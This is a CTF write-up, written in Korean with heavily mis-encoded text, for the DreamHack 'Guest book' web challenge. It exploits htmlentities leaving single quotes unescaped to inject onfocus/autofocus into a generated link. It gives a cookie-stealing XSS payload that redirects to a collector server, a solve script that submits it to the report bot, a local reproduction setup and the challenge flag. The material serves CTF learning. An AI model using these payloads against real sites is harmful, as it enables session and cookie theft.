λ¬Έμ : DreamHack β Guest book λΆλ₯: web λμ΄λ: π₯ Gold 2 FLAG:
DH{26763025e32e6b24fedfc3206054d6a7}
λ¬Έμ μ€λͺ μ μ§§λ€. PHP λ‘ κ°λ° μ€μΈ λ°©λͺ λ‘μ΄κ³ , κΈμ μ°λ κΈ°λ₯κ³Ό μ€λ₯ λλ μ£Όμλ₯Ό κ΄λ¦¬μμκ² μ리λ Report κΈ°λ₯μ΄ μλ€. νλκ·Έλ κ΄λ¦¬μμ μΏ ν€μ λ€μ΄ μλ€.
μ¦ λͺ©νκ° μ²μλΆν° μ ν΄μ Έ μλ€. κ΄λ¦¬μ λΈλΌμ°μ μμ JS λ₯Ό μ€νμμΌ document.cookie λ₯Ό
λ°κΉ₯μΌλ‘ λΉΌλ΄λ κ². λ¨μ μ§λ¬Έμ νλλ€. μ΄λλ‘ λ°μ΄ λ£μ κ²μΈκ°.

λ©μΈ νμ΄μ§κ° μΉμ νκ²λ 곡격 νλ©΄μ λ¨Όμ μλ € μ€λ€. "Support addLink" β
λ§ν¬λ€μ΄ μ€νμΌ λ§ν¬ λ¬Έλ²μ a νκ·Έλ‘ λ°κΏ μ€λ€λ λ»μ΄λ€.
λ¬Έμ κ°μ
| νλͺ© | λ΄μ© |
|---|---|
| λ¬Έμ λͺ | Guest book |
| λμ΄λ | π₯ Gold 2 |
| λΆλ₯ | web |
| μ 곡 νμΌ | util.php (178λ°μ΄νΈ, ν¨μ νλ) |
| μλ² | Apache 2.4.52 / PHP (Ubuntu), κ΄λ¦¬μ λ΄μ HeadlessChrome |
| ν΅μ¬ μ·¨μ½μ | μ΄μ€μΌμ΄ν μ΄νμ μνλλ νκ·Έ μ¬μ‘°λ¦½ β HTML μμ± μΈμ μ |
νμ΄ νλ¦μ μ΄λ λ€. htmlentities κ° μ΄λ € 보λ΄λ λ¬Έμκ° λ¬΄μμΈμ§ νμΈνκ³ ,
κ·Έ λ¬Έμλ‘ href μμ±μ λ«μ λ€μ, κ°μ νκ·Έμ onfocus μ autofocus λ₯Ό λΆμΈλ€.
κ·Έ νμ΄μ§λ₯Ό Report λ‘ κ΄λ¦¬μ λ΄μκ² μ΄κ² νλ©΄ ν΄λ¦ μμ΄ μ€ν¬λ¦½νΈκ° λλ€.
π§© λ°°κ²½ β λ°°ν¬ νμΌμ΄ ν¨μ νλλΏμ΄λ€
λ΄λ €λ°μ μμΆμ νλ©΄ νμΌμ΄ λ± νλ λμ¨λ€. μ λ¬Έμ΄ μ΄κ² μ λΆλ€.
<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
return $content;
}
?>λ μ€μ§λ¦¬ ν¨μμΈλ° μμκ° μ΄μνλ€.
λ¨Όμ htmlentities λ‘ νΉμλ¬Έμλ₯Ό μ€μ²΄ μ°Έμ‘°λ‘ λ°κΎΌλ€. μ¬κΈ°κΉμ§λ κ΅κ³Όμμ μ΄λ€.
κ·Έλ°λ° λ°λ‘ λ€μ μ€μμ preg_replace κ° <a href='...'> λ₯Ό μμ λ¬Έμμ΄λ‘ λ€μ λ§λ€μ΄ λΈλ€.
μ΄μ€μΌμ΄νλ "μΆλ ₯ μ§μ "μ ν΄μΌ μλ―Έκ° μλ€. μ΄μ€μΌμ΄νλ₯Ό λ¨Όμ νκ³ κ·Έ λ€μ νκ·Έλ₯Ό 쑰립νλ©΄, 쑰립 λ¨κ³μμ μλ‘ μκΈ°λ λ°μ΄νμ κΊΎμ λ μ무 κ²μ¬λ λ°μ§ μλλ€.
λ
Έλ¦΄ κ³³μ $2 λ€. λ§ν¬μ URL λΆλΆμ΄ href='...' μμ κ·Έλλ‘ λ€μ΄κ°λ€.

νΌμλ method μμ±μ΄ μλ€. HTML κΈ°λ³Έκ°μ GET μ΄λ―λ‘ μ
λ ₯μ 쿼리μ€νΈλ§μΌλ‘ λκ°λ€.
μ μ₯λ νμ§ μλλ€. λ£μ κ°μ΄ κ·Έ μ리μμ κ·Έλλ‘ λ λλλ λ°μ¬νμ΄λ€.
π¬ μ μ°° β 무μμ μ μ΄ν μ μλ
λ¨Όμ μ μ λ¬Έλ²μ λ£μ΄ λ³Έλ€. [dreamhack](https://dreamhack.io) λ₯Ό Content μ λ£κ³ μ μΆνλ€.

μλλλ‘ a νκ·Έκ° μκ²Όλ€. κ·Έλ¬λ©΄ νκ·Έλ₯Ό μ§μ λ£μΌλ©΄ μ΄λ»κ² λλ.
μ£Όμμ°½μ content=<script>alert(1)</script> <img src=x onerror=alert(1)> λ₯Ό μ€μ΄ λ³Έλ€.

μ λΆ κΈμλ‘ μ°νλ€. htmlentities κ° κΊΎμ λ₯Ό λ¨ΉμμΌλ μ νκ·Έλ₯Ό λ§λ€ κΈΈμ μλ€.
κ·Έλ¬λ μ΄λ―Έ λ§λ€μ΄μ§λ νκ·Έ μμΌλ‘ λ€μ΄κ°μΌ νλ€.
곡격μ λ°°λ¬ν ν΅λ‘λ νμΈν΄ λλ€.

Report λ κ²½λ‘λ§ λ°λλ€. μ λμ΄κ° http://127.0.0.1/ λ‘ λͺ» λ°ν μμΌλ μμ μ¬μ΄νΈλ₯Ό
μ΄κ² ν μλ μκ³ , μ΄ μλΉμ€ μμ κ²½λ‘λ§ μ§μ ν μ μλ€. κ·Έλλ μΆ©λΆνλ€.
λ°μ¬ν XSS λ 쿼리μ€νΈλ§μ μ€λ¦¬λκΉ GuestBook.php?content=... λ₯Ό ν΅μ§Έλ‘ λκΈ°λ©΄ λλ€.
π§± λ°°κ²½ β htmlentities μ κΈ°λ³Έκ°μ λ²μ λ§λ€ λ€λ₯΄λ€
htmlentities($str) λ₯Ό νλκ·Έ μμ΄ λΆλ₯΄λ©΄ 무μμ μ΄μ€μΌμ΄νν κΉ. μ΄ μ§λ¬Έμ΄ λ¬Έμ μ μ λΆλ€.
PHP 8.1 μμ κΈ°λ³Έκ°μ΄ λ°λμλ€. κ·Έ μ κΉμ§λ ENT_COMPAT λΌ μλ°μ΄νλ§ λ§μκ³ ,
8.1 λΆν°λ ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 μ΄λΌ νλ°μ΄νκΉμ§ λ§λλ€.
κ²½κ³κ° μ λ§ κ±°κΈ°μΈμ§ μΈ λ²μ μ ν μ€μ© λ¬Όμ΄λ΄€λ€.
for tag in 7.4 8.0; do
docker run --rm php:$tag-cli php -r 'printf("PHP %s β %s\n", PHP_VERSION,
htmlentities("\x27") === "\x27" ? "ENT_COMPAT" : "ENT_QUOTES");'
donePHP 7.4.33 β ENT_COMPAT
PHP 8.0.30 β ENT_COMPAT
PHP 8.4.11 β ENT_QUOTES8.0 κΉμ§λ μ λμμ΄κ³ 8.4 λ μ λμμ΄λ€. λ¬Έμκ° λ§νλ κ²½κ³μ λ§λλ€.
λ¬Έμλ§ λ―Ώμ§ λ§κ³ λ°°ν¬λ util.php λ₯Ό λ λ²μ μ κ·Έλλ‘ λ¬Όλ € λ³Έλ€.
μλκ° κ·Έ νμΈμ© μ€ν¬λ¦½νΈλ€. extracted/util.php λ₯Ό μμ μμ΄ require νλ€.
<?php
// λ°°ν¬λ util.php λ₯Ό κ·Έλλ‘ include ν΄μ addLink() λ§ λ¨λ
μΌλ‘ κ΄μ°°νλ€.
require_once __DIR__ . '/extracted/util.php';
// κΈ°λ³Έ νλκ·Έλ₯Ό μμλ‘ κ³μ°ν΄ μ°μΌλ©΄ λ²μ κ³Ό 무κ΄νκ² κ°μ κ°μ΄ λμ μ€ν΄λ₯Ό λΆλ₯Έλ€.
// μ€μ λ‘ νλ°μ΄νλ₯Ό λ£μ΄ λ³΄κ³ μ΄λ μͺ½μΈμ§ νμ νλ€.
printf("PHP %s β htmlentities κΈ°λ³Έκ°μ΄ νλ°μ΄νλ₯Ό μ΄μ€μΌμ΄ννλ? %s\n\n",
PHP_VERSION,
htmlentities("'") === "'" ? "μλμ€ (ENT_COMPAT)" : "μ (ENT_QUOTES)");
$cases = [
'plain' => "hello <script>alert(1)</script>",
'link' => "[dreamhack](https://dreamhack.io)",
'quote-escape' => "[t](x' onfocus='alert`1`' autofocus=')",
'js-uri' => "[t](javascript:alert`1`)",
];
foreach ($cases as $name => $raw) {
echo "ββ $name\n";
echo " in : $raw\n";
echo " out: " . addLink($raw) . "\n\n";
}
// λ¨κ³λ³λ‘ μͺΌκ°μ μ΄λμ 무μμ΄ μ΄μλ¨λμ§ λ³Έλ€
$probe = "\" ' < > & (";
echo "ββ htmlentities λ¨λ
(λ¬Έμλ³ μμ‘΄ νμΈ)\n";
echo " in : $probe\n";
echo " out: " . htmlentities($probe) . "\n";λ λ²μ μ λλν λλ € λΉκ΅νλ λνΌλ€. 7.4 λ λ컀 μ΄λ―Έμ§λ‘, 8.4 λ λ‘컬 PHP λ‘ λλ¦°λ€.
#!/usr/bin/env bash
# κ°μ util.php λ₯Ό PHP 7.4 μ 8.4 μ κ°κ° λ¬Όλ €, νλ°μ΄νκ° μ΄μλ¨λμ§ λΉκ΅νλ€.
# (sink_test.php μΆλ ₯μμ λ²μ μ€κ³Ό κ²°μ μ μΈ λ λΈλ‘λ§ λ½λλ€)
PICK='1p;/quote-escape/,+3p;/htmlentities λ¨λ
/,+3p'
echo "ββββ PHP 7.4 (docker php:7.4-cli) ββββ"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | sed -n "$PICK"
echo
echo "ββββ PHP 8.4 (λ‘컬) ββββ"
php sink_test.php | sed -n "$PICK"
κ²°κ³Όκ° κ°λ¦°λ€.
PHP 7.4 μμλ κ°μ μ
λ ₯μ΄ <a href='x' onfocus='alert`1`' autofocus=''>t</a> κ° λλ€.
href κ° x μμ λλκ³ κ·Έ λ€κ° μ λΆ μ μμ±μ΄λ€.
PHP 8.4 μμλ νλ°μ΄νκ° ' λ‘ λ°λμ΄ μ λΆ href κ° μμ κ°νλ€.
κ°μ μ½λμΈλ° λ°νμ λ²μ νλλ‘ μ·¨μ½ μ¬λΆκ° λ€μ§νλ€.
π£ ν΅μ¬ β μ΄μ€μΌμ΄ν λ€μμ νκ·Έλ₯Ό λ§λ€λ©΄ μμ©μ΄ μλ€
μ 리νλ©΄ μ΄λ λ€.

κΊΎμ Β·μλ°μ΄νΒ·μ°νΌμλλ λ€ μ£½λλ€. νλ°μ΄ν νλλ§ μ΄μ λμ¨λ€.
κ·Έλ°λ° preg_replace κ° λ§λλ ν
νλ¦Ώμ΄ νν href='$2' λ‘ νλ°μ΄νλ₯Ό μ΄λ€.
μ΄μλ¨μ λ¬Έμμ μλ‘ μκΈ°λ ꡬλΆμκ° μ νν κ²ΉμΉλ€. μ¬κΈ°κ° μ λΆλ€.
μ΄ μλ²κ° μ΄λ μͺ½μΈμ§ νμΈνλ€. λ κ°μ§λ₯Ό ν λ²μ λ³Έλ€ β λ¬Έμλ³λ‘ 무μμ΄ μ΄μλ¨λμ§, κ·Έλ¦¬κ³ κ·Έκ±Έλ‘ μ€μ μμ± νμΆμ΄ λλμ§.
#!/usr/bin/env bash
# μ€μλ²κ° μ΄λ μͺ½ PHP μΈμ§ νμΈνλ€.
# β λ¬Έμλ³ μμ‘΄: " < > & λ μ£½κ³ ' λ§ μ΄μλ¨λκ°
# β‘ κ·Έ νλ°μ΄νλ‘ href λ₯Ό λ«κ³ μ μμ±μ λΆμΌ μ μλκ°
T=${1:-http://host3.dreamhack.games:11773}
echo "ββ β μμ λ¬Έμ μμ‘΄"
curl -s -G "$T/GuestBook.php" \
--data-urlencode 'content=[q](a"b'"'"'c<d>e&f)' | grep -o '<pre>.*</pre>'
echo "ββ β‘ μμ± νμΆ"
curl -s -G "$T/GuestBook.php" \
--data-urlencode "content=[x](x' onfocus='alert\`1\`' autofocus=')" | grep -o '<pre>.*</pre>'
μ€μλ²λ 7.x μͺ½μ΄λ€. β μμ " λ ", < λ < κ° λλλ° ' λ§ λ©μ©‘νλ€.
β‘ μμλ onfocus μ autofocus κ° μμ± μ리μ κ·Έλλ‘ μμλ€.
λΈλΌμ°μ κ° μ΄κ±Έ μ λ§ μμ±μΌλ‘ νμ±νλμ§λ νμΈν΄ λλ€. view-source: λ‘ μλ³Έμ λ³Έλ€.

23λ² μ€μ΄ μ°λ¦¬κ° λ§λ νκ·Έλ€. ν¬λ‘¬μ λ·°μμ€ νμ΄λΌμ΄ν
μ΄ onfocus λ₯Ό μμ± μ΄λ¦ μμΌλ‘
μΉ νκ³ μλ€. λ¬Έμμ΄ μμ κ°ν κ² μλλΌ μ§μ§ μ΄λ²€νΈ νΈλ€λ¬λ€.
κ΄νΈλ₯Ό λͺ» μ΄λ€
μ¬κΈ°μ ν λ² κ±Έλ¦°λ€. μ κ·μμ λ€μ λ³Έλ€.
/\[(.*?)\]\((.*?)\)/URL κ·Έλ£Ήμ΄ (.*?) λ€. κ²μΌλ₯Έ μλμλΌ μ²« λ²μ§Έ λ«λ κ΄νΈμμ λκΈ΄λ€.
alert(1) μ²λΌ κ΄νΈκ° λ JS λ₯Ό μ°λ©΄ alert(1 κΉμ§λ§ URL λ‘ μ‘νκ³ λ€λ νλ²ν κΈμκ° λλ€.
κ·Έλμ κ΄νΈ μλ JS λ§ μΈ μ μλ€. λ°©λ²μ λ κ°μ§λ€.
| λ°©μ | νμ΄λ‘λ μ‘°κ° | λΉκ³ |
|---|---|---|
| λ°±ν± ν νλ¦Ώ 리ν°λ΄ | location= + λ°±ν±μΌλ‘ κ°μΌ URL | μμ ${document.cookie} λ₯Ό λΌμ λ£λλ€ |
| λ¬Έμμ΄ μ°κ²° | location="β¦"+document.cookie | μλ°μ΄νλ " λ‘ λ³νλμ§λ§ λΈλΌμ°μ κ° λλλ¦°λ€ |
λ λ²μ§Έκ° μ¬λ°λ€. μ
λ ₯ν " λ htmlentities κ° " λ‘ λ°κΎΈμ§λ§,
κ·Έ κ°μ΄ λμ΄λ κ³³μ΄ HTML μμ± μμ΄λΌ λΈλΌμ°μ κ° νμ±νλ©΄μ λ€μ " λ‘ λλλ¦°λ€.
JS μμ§μ λλ¬ν λλ λ©μ©‘ν λ¬Έμμ΄ λ¦¬ν°λ΄μ΄λ€. λ λ€ μ€μ λ‘ λμνλ κ±Έ νμΈνλ€.
ν΄λ¦ μμ΄ ν°λ¨λ¦¬κΈ°
a νκ·Έμ λΆμΌ μ μλ μ΄λ²€νΈ μ€ μ¬μ©μ μ‘°μμ΄ νμ μλ κ² νμνλ€.
onclick μ΄λ onmouseover λ λ΄μ΄ ν΄λ¦λ λ§μ°μ€ μ΄λλ μ νλ μμ©μλ€.
autofocus λ₯Ό μ΄λ€. HTML5 μμ μ μ μμ±μ΄λΌ νΌ μ»¨νΈλ‘€μ΄ μλμ΄λ λΆκ³ ,
href κ° μλ a λ ν¬μ»€μ€λ₯Ό λ°μ μ μλ μμλ€. νμ΄μ§κ° λ¨λ©΄ λΈλΌμ°μ κ° μμμ
ν¬μ»€μ€λ₯Ό μ£Όκ³ , κ·Έλ onfocus κ° λλ€.
μ΅μ’ νμ΄λ‘λλ μ΄λ κ² λλ€.
[x](x' onfocus='location=`https://μμ§μλ²/gb41?c=${document.cookie}`' autofocus=')λ λλλ©΄ μ΄λ κ² λμ¨λ€.
<a href='x' onfocus='location=`https://μμ§μλ²/gb41?c=${document.cookie}`' autofocus=''>x</a>맨 λ€ autofocus=' μ μ΄λ¦° λ°μ΄νλ preg_replace κ° λΆμ΄λ '> μ νλ°μ΄νκ° λ«μ μ€λ€.
κ·Έλμ autofocus='' λ‘ κΉλνκ² λλλ€. λ°μ΄ν κ°μλ₯Ό λ§μΆλ κ² νμ΄λ‘λ μ€κ³μ μ λ°μ΄λ€.
π μ½μ§
βΆπ μ½μ§ 1 β 첫 리ν¬νΈκ° κ·Έλ₯ μ‘°μ©νλ€
νμ΄λ‘λλ₯Ό μμ±νκ³ Report λ₯Ό λλ λλ° μμ§ μλ²μ μ무κ²λ μ μλ€. 5λΆμ κΈ°λ€λ €λ μμλ€.
μμΈμ μ’νλ €κ³ λ³μλ₯Ό λλ λμ‘λ€. λ°ν νΈλ¦¬κ±°(autofocus vs id + URL νλκ·Έλ¨ΌνΈ),
JS λ¬Έλ²(λ°±ν± vs λ¬Έμμ΄ μ°κ²°), νλ‘ν μ½(http vs https) μΈ κ°μ§λ₯Ό μ‘°ν©ν΄ λ§μ»€ κ²½λ‘λ₯Ό λ€λ₯΄κ² μ€ λ€
μ΄λ κ² λμμ€λμ§ λ΄€λ€.
#!/usr/bin/env python3
"""λ°ν νΈλ¦¬κ±°Β·JS λ¬Έλ²Β·μ μ‘ νλ‘ν μ½μ νλμ© λ°κΏ κ°λ©° λ΄μ λμ Έ λ³΄κ³ ,
μ΄λ μ‘°ν©μμ μμ§ μλ² ννΈκ° λλμ§ λ§μ»€ κ²½λ‘λ‘ κ΅¬λΆνλ€."""
import os, sys, urllib.parse, requests
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
ATK = os.environ["WG_ATTACKER"].rstrip("/") # 격리 Kali VM + localhost.run ν°λ
VARIANTS = {
# λ§μ»€ : (νΈλ¦¬κ±° μμ±, JS λ³Έλ¬Έ)
"gb41c": ("autofocus=' ", 'location="' + ATK + '/gb41c?c="+document.cookie'), # ES5 λ¬Έμμ΄μ°κ²°
"gb41d": ("id='a' ", 'location="' + ATK + '/gb41d?c="+document.cookie'), # νλκ·Έλ¨ΌνΈ ν¬μ»€μ€(#a)
"gb41e": ("autofocus=' ", 'location="' + ATK + '/gb41e"'), # μΏ ν€ μμ΄ μμ μμλ°μ΄λ νμΈ
}
for marker, (trigger, js) in VARIANTS.items():
payload = "[x](x' " + trigger + "onfocus='" + js + "' q=')"
frag = "#a" if "id=" in trigger else ""
path = "GuestBook.php?content=" + urllib.parse.quote(payload, safe="") + frag
render = requests.get(f"{TARGET}/GuestBook.php", params={"content": payload}, timeout=15).text
print(f"[{marker}] λ λ:", render.split("<pre>")[1].split("</pre>")[0])
rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
print(f"[{marker}] report path={path[:70]}... -> {rp.status_code}")gb41d λ§ λμμλ€. κ·Έλμ "λ΄ λΈλΌμ°μ μμλ autofocus κ° μ λ¨Ήκ³ νλκ·Έλ¨ΌνΈ ν¬μ»€μ€λ§
λλ€"κ³ κ²°λ‘ λλ€. νλ¦° κ²°λ‘ μ΄μλ€.
μ΄ μ€ν¬λ¦½νΈκ° λ§λλ autofocus λ³νμ λ λ κ²°κ³Όλ‘ λ³΄λ©΄ λ΅μ΄ λμ¨λ€.
<a href='x' autofocus=' onfocus='location="..."+document.cookie' q=''>x</a>νΈλ¦¬κ±° λ¬Έμμ΄μ autofocus=' λ‘ μ¨ λκ³ κ·Έ λ€μ onfocus=' λ₯Ό μ΄μ΄ λΆμλ€.
κ·Έλ¬λ©΄ autofocus μ κ°μ΄ ' onfocus=' λ‘ μ΄λ €μ onfocus λΌλ μ΄λ¦ μ체λ₯Ό κ°μΌλ‘ μΌμΌ λ²λ¦°λ€.
νΈλ€λ¬κ° μμ μλ νκ·Έλ₯Ό μΈ λ² λμ Έ λκ³ "νΈλ¦¬κ±°κ° λ¬Έμ "λΌκ³ μ½μ κ²μ΄λ€.
λ°μ΄ν κ³μ°μ λ°λ‘μ‘μ λ€μ λμ§λ λ€ μ‘°ν©μ΄ μ λΆ λ°ννλ€.
22:15:23 gb41d id + #νλκ·Έλ¨ΌνΈ
22:17:15 gb41f autofocus + λ¬Έμμ΄ μ°κ²°
22:18:21 gb41g autofocus + λ°±ν±
22:18:49 gb41h autofocus + λ°±ν± + https β μ΅μ΄μ μ€ν¨νλ κ²κ³Ό μμ ν λμΌλ§μ§λ§ μ€μ΄ κ²°μ μ μ΄λ€. μ²μ μ€ν¨ν νμ΄λ‘λμ ν κΈμλ λ€λ₯΄μ§ μμλ° μ΄λ²μ μλ€. μ¦ νμ΄λ‘λλ μ²μλΆν° λ§μκ³ , VM μ λ§λ μ§νμ λ³΄λΈ μ²« 리ν¬νΈλ§ μλ΅μ΄ μμλ κ²μ΄λ€. 리ν¬νΈ μμ»€κ° μμ§ μ€λΉλμ§ μμλ κ±Έλ‘ λ³΄μΈλ€.
κ΅νμ λ κ°λ€. νλ, μλ²λ₯Ό λ§ λμ΄ μ§νμ 무μλ΅μ νμ΄λ‘λ νμ΄ μλ μ μλ€. λ, λΉκ΅ μ€νμ μ§€ λ κ° λ³νμ΄ μλν HTML μ λ§λλμ§λΆν° νμΈν΄μΌ νλ€. λ λ κ²°κ³Όλ₯Ό μΆλ ₯νλλ‘ μ§ λκ³ λ λμΌλ‘ μ λ΄€λ€.
κ·Έλμ μ΅μ’
solve.py μλ 리ν¬νΈλ₯Ό 30μ΄λ§λ€ λ€μ 보λ΄λ μ¬μλλ₯Ό λ£μλ€.
βΆπ μ½μ§ 2 β μμ§ λ‘κ·Έμμ μ€κ΄νΈκ° μ¬λΌμ‘λ€
μμ§ κ²½λ‘λ₯Ό μ νκΈ° μ μ "νλκ·Έ λͺ¨μ λ¬Έμμ΄μ΄ 쿼리μ€νΈλ§μΌλ‘ μ μ§λκ°λ"λ₯Ό νμΈνλ€.
curl λ‘ μ°λ¬ 보λ λ‘κ·Έμ μ€κ΄νΈκ° μμλ€.
GET /xss41probe?c=flag=DHfake_test_abcDH{fake_test_abc} λ₯Ό 보λλλ° DHfake_test_abc κ° μ°νλ€. WAF κ° μ§μ΄ μ€ μμλ€.
URL μΈμ½λ©ν μͺ½(%7B)μ λ©μ©‘ν λ¨μμ λ κ·Έλ΄λ―νλ€.
λ²μΈμ curl μ΄μλ€. curl μ URL μμ μ€κ΄νΈλ₯Ό κΈλ‘λΉ λ¬Έλ²μΌλ‘ ν΄μνλ€.
{a,b} λ‘ μ¬λ¬ URL μ ν λ²μ μμ²νλ κΈ°λ₯μΈλ°, μμκ° νλλΏμ΄λ©΄ κ΄νΈλ§ λ²κ²¨μ§λ€.
-g λ‘ κΈλ‘λΉμ λκ³ λ€μ 보λ΄λ κ·Έλλ‘ λ€μ΄μλ€.
curl -g -s -o /dev/null "$WG_ATTACKER/xss41probe?c=flag=DH{brace_survives_1}"GET /xss41probe?c=flag=DH{brace_survives_1}μ΄κ² μ€μνλ μ΄μ λ, λ§μ½ μ λ§λ‘ μΈμ½λ©μ΄ νμνλ€λ©΄ encodeURIComponent λ₯Ό μ¨μΌ νλλ°
κ΄νΈλ₯Ό λͺ» μ°λ μ μ½ λλ¬Έμ ν¨μ νΈμΆμ΄ λ§ν μμκΈ° λλ¬Έμ΄λ€.
λ€νν μΈμ½λ©μ΄ νμ μμ΄μ λ°±ν± νλλ‘ λλ¬λ€.
βΆπ μ½μ§ 3 β λ‘컬 μ¬νμ΄ λ λ²μ§Έ μ€νμμ μ€ν¨νλ€
μ¬ν μ€ν¬λ¦½νΈλ₯Ό λ§λ€μ΄ λλ Έλλ λ΄μ λΆλͺ ν μΏ ν€λ₯Ό λ€κ³ μμ§ μλ²λ‘ μ΄λνλλ°, μμ§ λ‘κ·Έλ₯Ό λ€μ§λ λ§μ§λ§ λ¨κ³μμ "μ»μ κ°: μμ" μ΄ λμλ€.
[bot] visited http://127.0.0.1:8041/index.php -> final: http://127.0.0.1:8042/?c=flag=DH{local_fake_flag_for_repro}
β FAIL [A] λ‘컬 μ μΆ μ€ν¨ (μ»μ κ°: 'μμ')λΈλΌμ°μ μ£Όμμ°½μλ μΏ ν€κ° μ°ν μλλ° μλ² λ‘κ·Έμλ μλ€λ λͺ¨μμ΄λ€.
μμ μ€νμμ λμ λ μμ§ μλ²κ° μμ§ 8042 λ₯Ό μ‘κ³ μμλ€.
μ¬ν μ€ν¬λ¦½νΈκ° μλ‘ λμ΄ μͺ½μ λ°μΈλμ μ€ν¨ν΄ μ£½μκ³ , μμ²μ μ νλ‘μΈμ€κ° λ°μμ
κ·Έμͺ½ λ‘κ·Έλ‘ κ°λ€. SO_REUSEADDR λ₯Ό μΌ λμ΄λ μ΄λ―Έ 리μ€λ μ€μΈ μμΌμ λͺ» λΊλλ€.
μ μ€νμ μμ¬λ₯Ό PID λ‘ μ§μ ν΄ μ 리νκ³ λ€μ λ리λ ν΅κ³Όνλ€. λ‘컬 λ©μ μ¬λ¬ λ² μΈμ λ€ μ μλ€ ν λ μ λλ μ€μλ€.
π§ͺ λ‘컬 μ¬ν β λΌμ΄λΈλ₯Ό μΌκΈ° μ μ
λΌμ΄λΈ μλ²μμ νλΌλ―Έν°λ₯Ό λ°κΏ κ°λ©° μ°λ¬ 보λ 건 μκ°λ ν¬λ λ§λ λλΉλ€. μ·¨μ½μ μ΄ μ§μ§μΈμ§λ μ€νλΌμΈμμ λ¨Όμ μ¦λͺ ν μ μλ€. νμν 건 μΈ μ‘°κ°μ΄λ€.
첫째, λ°°ν¬λ util.php λ₯Ό κ·Έλλ‘ μ°λ λ―Έλ λ°©λͺ
λ‘.
<?php
// λ‘컬 μ¬νμ© λ―Έλ λ°©λͺ
λ‘.
// λ°°ν¬λ util.php μ addLink() λ₯Ό κ·Έλλ‘ λ λλ§ μ±ν¬λ‘ μ΄λ€ β μ¬κΈ°κ° μ€μ λ¬Έμ μ λμΌν λΆλΆ.
require_once __DIR__ . '/util.php';
$DB = __DIR__ . '/posts.json';
$posts = file_exists($DB) ? json_decode(file_get_contents($DB), true) : [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$posts[] = ['name' => $_POST['name'] ?? 'anon', 'content' => $_POST['content'] ?? ''];
file_put_contents($DB, json_encode($posts));
header('Location: /index.php');
exit;
}
?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Guest book (local repro)</title></head>
<body>
<h1>Guest book</h1>
<form method="POST">
<input name="name" placeholder="name">
<textarea name="content" placeholder="content"></textarea>
<button type="submit">write</button>
</form>
<hr>
<?php foreach ($posts as $i => $p): ?>
<div class="post">
<b><?= htmlentities($p['name']) ?></b>
<p><?= addLink($p['content']) ?></p>
</div>
<?php endforeach; ?>
</body></html>λμ§Έ, κ΄λ¦¬μ λ΄ νλ΄. νλκ·Έκ° λ μΏ ν€λ₯Ό λ¬Όκ³ νμ΄μ§λ₯Ό μ΄κΈ°λ§ νλ€. ν΄λ¦λ λ§μ°μ€ μ΄λλ νμ§ μλ κ² ν΅μ¬μ΄λ€. κ·ΈλμΌ "무쑰건 μλ λ°ν"κ° κ²μ¦λλ€.
#!/usr/bin/env python3
"""λ‘컬 μ¬νμ© κ΄λ¦¬μ λ΄.
μ€μ λ¬Έμ μ Report κΈ°λ₯μ΄ νλ μΌκ³Ό κ°λ€: νλκ·Έκ° λ μΏ ν€λ₯Ό λ¬Όκ³
μ£Όμ΄μ§ URL μ ν€λλ¦¬μ€ ν¬λ‘¬μΌλ‘ ν λ² μ΄μ΄ λ³΄κ³ λ«λλ€.
ν΄λ¦Β·λ§μ°μ€ μ΄λμ νμ§ μλλ€ β κ·ΈλμΌ '무쑰건 μλ λ°ννλ νμ΄λ‘λ'μΈμ§ κ²μ¦λλ€.
"""
import sys
from playwright.sync_api import sync_playwright
url = sys.argv[1]
flag = sys.argv[2] if len(sys.argv) > 2 else "DH{local_fake_flag_for_repro}"
with sync_playwright() as p:
br = p.chromium.launch(args=["--no-sandbox"])
ctx = br.new_context()
ctx.add_cookies([{ "name": "flag", "value": flag,
"url": "http://127.0.0.1:8041/" }])
pg = ctx.new_page()
pg.on("console", lambda m: print("[console]", m.text))
pg.goto(url, wait_until="load")
pg.wait_for_timeout(2000) # λ°νΒ·μμ² λκ° μκ°λ§ μ€λ€
print("[bot] visited", url, "-> final:", pg.url)
br.close()μ μ§Έ, λΉ μ Έλμ¨ μΏ ν€λ₯Ό λ°μ μ λ μ΅μ μλ².
#!/usr/bin/env python3
"""νμ·¨λ μΏ ν€λ₯Ό λ°μ μ λ μ΅μ μμ§ μλ² (λ‘컬 κ²μ¦ μ μ©)."""
import http.server, socketserver, urllib.parse, datetime
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
q = urllib.parse.urlparse(self.path).query
print(f"[{datetime.datetime.now():%H:%M:%S}] HIT {self.path}")
print(" decoded:", urllib.parse.unquote(q), flush=True)
self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers()
self.wfile.write(b"ok")
def log_message(self, *a): # κΈ°λ³Έ μ κ·Όλ‘κ·Έλ λλ€
pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 8042), H) as s:
print("listening on http://127.0.0.1:8042/", flush=True)
s.serve_forever()κΈμ νλ λ¨κΈ°κ³ λ λ κ²°κ³Όλ§ λ½μ 보λ 보쑰 μ€ν¬λ¦½νΈλ κ°μ΄ μ΄λ€.
#!/bin/bash
# λ‘컬 μ¬ν μλ²μ λ°©λͺ
λ‘ κΈ νλλ₯Ό λ¨κΈ°κ³ , λ λλ HTML μμ <a ...> μ€λ§ λ½μ λ³Έλ€.
# μ¬μ©: ./post.sh '<content>'
set -e
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
--data-urlencode "name=attacker" --data-urlencode "content=$1"
echo "--- λ λ κ²°κ³Ό ---"
curl -s http://127.0.0.1:8041/index.php | grep -o '<a [^<]*</a>'μ΄μ λΈλΌμ°μ λ‘ μ§μ νμΈνλ€. μμλ μ μ΄λ€. νλ²ν κΈ νλλ§ μλ λ°©λͺ λ‘μ μ° λ€ κ°λ°μ μ½μμμ νλκ·Έ μΏ ν€λ₯Ό μ¬κ³ , 곡격μ μ μ₯μμ νμ΄λ‘λ κΈμ λ¨κΈ°κ³ , κ°μ μ£Όμλ₯Ό λ€μ μ°λ€.
